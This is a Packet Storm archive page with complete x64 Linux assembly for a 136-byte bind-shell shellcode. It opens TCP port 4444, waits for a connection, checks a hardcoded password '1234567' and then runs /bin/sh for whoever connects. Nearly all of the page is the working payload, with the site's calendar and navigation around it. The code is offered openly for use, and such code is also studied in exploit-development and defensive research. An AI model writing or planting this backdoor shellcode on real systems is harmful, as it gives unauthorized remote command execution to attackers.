what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x64 Bind TCP (4444/TCP) Shell (/bin/sh) + Password (1234567) Shellcode

Linux/x64 Bind TCP (4444/TCP) Shell (/bin/sh) + Password (1234567) Shellcode
Posted Feb 2, 2018
Authored by 0x4ndr3

136 bytes small Linux/x64 bind TCP (4444/TCP) shell (/bin/sh) + password (1234567) shellcode.

tags | shell, tcp, shellcode
systems | linux
SHA-256 | 6c6ecb700811cfe2bd650f016fb7be44a314bdd83113a75bf7b0560a9790c69e

Linux/x64 Bind TCP (4444/TCP) Shell (/bin/sh) + Password (1234567) Shellcode

Change Mirror Download
global _start

_start:

; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41

push 41
pop rax
push 2
pop rdi
push 1
pop rsi
cdq
syscall

; copy socket descriptor to rdi for future use

xchg rdi,rax

; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)

push rdx
mov dx,0x5c11
shl rdx,16
xor dl,0x2
push rdx

; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49

mov rsi, rsp
mov al,49
push 16
pop rdx
syscall

; listen(sock, MAX_CLIENTS)
; syscall number 50

push 50
pop rax
push 2
pop rsi
syscall

; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43

mov al,43
sub rsp,16
mov rsi,rsp
push 16
mov rdx,rsp
syscall

; close parent
;push 3
;pop rax
;syscall

; duplicate sockets

; dup2 (new, old)
xchg rdi,rax
push 3
pop rsi
dup2cycle:
mov al, 33
dec esi
syscall
loopnz dup2cycle

; read passcode
; xor rax,rax - already zeroed from prev cycle
xor rdi,rdi
push rax
mov rsi,rsp
push 8
pop rdx
syscall

; Authentication with password "1234567"
xchg rcx,rax
mov rbx,0x0a37363534333231
push rbx
mov rdi,rsp
repe cmpsb
jnz wrong_pwd

; execve stack-method

push 59
pop rax
cdq ; extends rax sign into rdx, zeroing it out
push rdx
mov rbx,0x68732f6e69622f2f
push rbx
mov rdi,rsp
push rdx
mov rdx,rsp
push rdi
mov rsi,rsp
syscall

wrong_pwd:
nop

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close